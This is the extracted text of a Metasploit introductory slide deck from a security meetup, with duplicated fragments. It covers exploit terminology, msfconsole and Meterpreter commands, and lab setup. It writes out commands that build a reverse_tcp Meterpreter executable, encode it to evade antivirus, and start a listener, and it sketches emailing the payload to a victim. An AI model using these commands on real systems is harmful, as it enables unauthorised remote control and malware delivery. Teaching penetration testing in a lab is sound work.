Post on 20-May-2018
transcript
PART 1
MSF 101
By -: Arvind Sharma
(Moderator Hcon Delhi)
About Me
• Security Enthusiast
• Works at no-where.com
• Works For Hcon Group & m0rphiz3.org• Works For Hcon Group & m0rphiz3.org
• Python coder
• Few More I will add in next meet ;)
Topics to be covered
• Understanding basic terminologies
• Exploiting the vulnerability manually
• What is MSF( Metasploit ) & why needed• What is MSF( Metasploit ) & why needed
• Brief History and Introduction
• Lab requirements , creation and pre-requisite for testing
• Basic Exploitation of Windows XP & Metasploitable
Note : This is not the end this is just the beginning , detail in next meets
Basic Terminologies
• Vulnerability : Weakness in System (Ex: Buffer Overflow , memory leaks etc.
)
• Exploit : Security Attack on the Vulnerability (Ex: Attacker use BOF to
execute his own code )execute his own code )
• Payload : Sequence of code that is executed when vulnerability is
triggered
• Shell codes : Shell payloads which provides interactive shell to control
compromise system
• Encoder : A software which converts a piece of code into another form
• Auxillary : Code’s other than exploits and vulnerability
• Session : Successful connection after exploitation
Lets find some vulnerability and exploit it manually
• Vulnerable Free Float FTP Server V 1.0 on Windows XP ( netapi too)
• Finding Public Exploit ( I prefer Python one )
• Crashing The Free Float FTP Server• Crashing The Free Float FTP Server
• Execution of shell code yes/no/why if no ?
• Vulnerable ssh on metasploitable 2
• Finding Public Exploit
• Exploiting vulnerable ssh
Place for Finding Public Exploits
http://www.securityfocus.com/
http://www.exploit-db.com/
http://packetstormsecurity.com/http://packetstormsecurity.com/
Might be more but these
serves the purpose
Scanning and enumerating the services
Note : Yellow Marked are vulnerable services
Exploiting the vulnerabilities using public exploits
So you saw working with public exploits creates a hectic situation Now here comes my SN1P3R Now here comes my SN1P3R
‘THE MSF’
MSF Overview• Metasploit Framework is a open source which provides
following features
• Information Gathering& Fingerprinting
• Exploit Development / Penetration Testing
• Payload creation and Encoding• Payload creation and Encoding
• Fuzzing ( use to test for app vulnerabilities ) etc
• Originally written in perl language by HD Moore for game
playing in network testing afterwards completely ported into
Ruby language.
• Now it is maintained by Rapid7 from 2009
http://www.rapid7.com/products/metasploit/download.jsp
Metasploit Directory Structure
root@bt:cd /pentest/exploits/framework2/
data lib exploits payloads encoders auxillary
Note: Few more are there but these are important ones
Interfaces provided by MSF
• Console ( root@bt: msfconsole )
• CLI ( msfcli
/exploit/windows/smb/ms08_067_netapi)
• Web• Web
• GUI
• Armitage
Demo of Different modes of opening and accessing MSF Console
(On Backtrack 5 R3)
• Using Backtrack Menu
Backtrack->Exploitation Tools->Network
Exploitation Tools-> Metasploit
Framework->msfconsoleFramework->msfconsole
• Using Directory traversal
root@bt: cd
/pentest/exploits/framework/
root@bt: ./msfconsole
• Directly through terminal
root@bt: msfconsole
Basic Exploitation Technique
Open Port Scan+Version Scan
Open Port and Service version
disclosuredisclosure
Exploit the Vulnerability
Get Full Control
Basic Commands of Metasploit Framework
• ? Or help -> Help Menu
• search < keyword > ->for searching the module
• use exploit/[Path] -> for using the exploit
• set PAYLOAD [path] -> specifying payload to be used
• show options -> to show options for current module
• set [option] [value] -> to set the values required for module
• exploit -> start the exploit• exploit -> start the exploit
Few Meterpreter Commands
• shell -> drops you to the shell prompt of compromised
host
• ps -> shows pid’s of running processes
• migrate [pid] -> migrate to different process
Note: For more commands and their description get the MSF cheat sheet
http://www.sans.org/media/netwars/brochure-netwars-2013.pdf
Using msfpayload and msfencode tools of MSF
• msfpayload -> used for shell code generation also for creating executables
from metasploit payload
Syntax : msfpayload [options] [var=val] >[S ummary [P]erl…………
example :
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444
X > Desktop/payload.exe
• Msfencode -> another tool in msf used for encoding the payloads to decrease
the detection level
Example :
msfencode –t exe –x Desktop/payload.exe –k –o Desktop/encoded_payload.exe
–e x86/shikata_ga_nai 5
Note : More Detail will be in MSF 101 part 2 in next meet
After creating payload what should be done ?
exe payload + compress -> mail to victim -> victim execute -> boom
Creating a Listener for our exe payload
• Open msf and use multi/handler which is a stub program that
handles exploits launched outside of framework
msf > use exploit/multi/handler
• After using multi/handler we have to tell msf for which payload it • After using multi/handler we have to tell msf for which payload it
has to listen
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > show options ( set the LHOST and LPORT )
msf > set LHOST 192.168.0.2
msf > set LPORT 4444
Note : Now your listener is ready for meterpreter session
Lab Requirement and Creation of Lab for testing
Requirement:
1. Virtualization Software ( Virtual Box , Vmware etc )
2. ISO Image of different OS like Windows XP , Backtrack, Metasploitable
3. Your Brain
Creation of Lab in my way :-Creation of Lab in my way :-
• I prefer Virtual Box , why ? Because its free and also takes less space
• For Communication between the Virtual machines I create internal
network of VM’s with DHCP server on. Thus no need to set IP
manually
• Tests the things in internal network mode
• How to create DHCP Server and internal network go like this ……
continued………….
Lab Creation
Lab Creation
How to defense and detect meterpreter session and kill it